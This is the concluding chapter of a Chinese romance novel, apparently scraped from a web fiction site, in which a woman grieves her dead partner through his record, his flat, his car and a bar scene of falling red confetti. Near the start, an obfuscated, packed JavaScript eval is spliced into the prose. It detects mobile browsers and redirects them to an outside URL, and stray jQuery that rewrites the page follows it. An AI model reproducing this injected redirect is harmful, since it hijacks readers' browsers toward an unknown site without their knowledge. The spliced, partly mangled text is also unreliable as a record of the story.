放在上面的唱片没有包装和纹样,他好像只有这一张唱片,这就意味着他生活在这里时只循环播放这一首曲子,它一定对于他来说意义非凡。 这么想着,温惊竹手指有些颤抖地搭上播放按钮,害怕放出的歌会很吵闹,或是什么她听不懂的日语歌,代表着迟嘉洋那部分她所不了解的在日本的生活。 犹豫了一下,还是选择让上面的音乐继续播放。 —【第六年 2月12日除夕】—< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588713|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再一次站到这座公寓门前,温惊竹失笑:迟嘉洋,轮到我一遍一遍地买机票来看你了。 年初她去烟城看了自己的爸爸妈妈,又回海县看了迟嘉洋。她经常给他带不同的花,虽然知道他不喜欢,可真不知道该带什么了。 她将一束洋桔梗放到墓碑前,换掉了之前带来的已经枯萎的,和他说,请他允许她擅作主张,在他日本的小公寓里安装了一架小钢琴,贴墙放刚刚好,只是人在屋里活动的空间更有限了。 可是这样我就可以在那里弹琴了呀!她在心里说,默默地注视他。 有时候她真不知道他到底在哪儿,是在面前的这座墓碑下面,还是在日本的那套小公寓里,还是一直在她的眼睛里,和她在一起。 她没有和迟父迟母一起过年,除夕又去了船桥。 自从平安夜她第一次离开这里,她就说不出话了。 铃铛有点担忧,她也不去医院,所幸不耽误弹琴。 经过这一年波折,铃铛只是在网上透露:博主接受了视网膜捐赠手术,所以能看见东西了。结果一下子黑评如潮,更多人质疑她以前是不是装瞎,虽然前后的眼睛确有不同,他们就说她之前是戴了美瞳什么的…… 铃铛和温惊竹都采取无视态度,倒也算涨了波热度。 进了公寓,她坐在琴前,弹起了《月光奏鸣曲》。那些悲伤、雀跃、疯狂全部跃然指上,一幕幕,一幕幕又重现了,然后她忽然定定地停住。 手指慢下来,她张张口,艰难地和着新的旋律唱出迟嘉洋黑胶唱片里的歌:“独自醒来后的许多年,终于领悟了你的答案……” “秋天的风它不曾见过桃花。” 她都好久没有听过自己的声音了。 —【第六年 4月2日漫天纷飞的花雨】— 烟城的路是笔直的,平坦的,宽阔的,整个交通都井井有条。 温惊竹紧盯着前方红灯倒计时,在最后一秒钟油门踩到底,黑色的野马率先冲出并排的车辆,在黑夜中发出雄浑的咆哮,而后带出一串尖锐的疾驰的声音,引着路旁很多大学生的一阵阵目光。她自说自话:“你之前是不是就是这样的呀?” 她更加接受了迟嘉洋在她的眼睛里,和她合二为一,和她永远地在一起。 她买下了他的野马——迟母当初并没有卖,结果这台被搁置了太久的性能车又变得很不性能了,她将它重新保养维护了一遍。 “您好,请问有预定吗?”斑马的前台一如既往问道。 “S27.” 之前通过微信联系斑马的营销,根据对方发来的图片,她找出了这个她曾和迟嘉洋坐过的散台,尽管它在这场内的位置并不算好。 在这有些靠边缘的位置坐下,她似乎理解了迟嘉洋会选择这里的原因,因为这里看舞台清晰,又不在很中间的区域、会被暴露在众目睽睽之下很不自在。 黄毛侍者主动凑上来,她扫码,点了低消500的东西,全是无酒精饮料和吃的。 侍者一走她就自己在这里笑了,托着腮,环视这周围新奇的一切。原来灯光是这样的,那些发出嘈杂声音、会来酒吧玩的人是这样的…… 或许她这样兀自笑着的样子很奇怪,可这里没人在意她,这场内全是在酒精与多巴胺中忘乎所以的人。只是有几个男大学生鼓起勇气来要她的微信,她愣了愣,笑着摆手拒绝了。她就想,以前迟嘉洋在这里潇洒时是不是就是这样受欢迎啊? “是不是啊?”她自言自语地问,“这次是我带你来玩了,你感谢我吧。” 侍者每上一样东西,她道一声“谢谢”,然后依旧托着腮,一双漂亮的大眼睛一眨不眨的,很认真地听舞台上歌手唱着一首首歌。 她现在可是对生活很充满期待的。 因为她知道,在未来的每一天,在走马灯的那一天,她所留恋的一切东西都会再回来一遍。 忽然“砰”的一声,无数张红色手抛纸被从炮筒中炸出,多到仰起头来看不见天花板。 那比任何一场雨或者雪都要密集,那些纸再尽数飘飘洒洒地落下来,落在每一张桌子上,落在每一个人的身上,柔软的,弄得人痒痒的,又有一片蹭着温惊竹的面颊过去了。 舞台上的女歌手在竭尽感情地唱着《春泥》:“漫天纷飞的花雨,落在春的泥土里,滋养了大地,开出下一个花季……” 她在这红色的世界里笑了,笑着笑着就哭了。 想起那年迟嘉洋在她耳边说:“你知道吗?可好看了,小竹子!漫天都是红色的纸!” 【全文完结】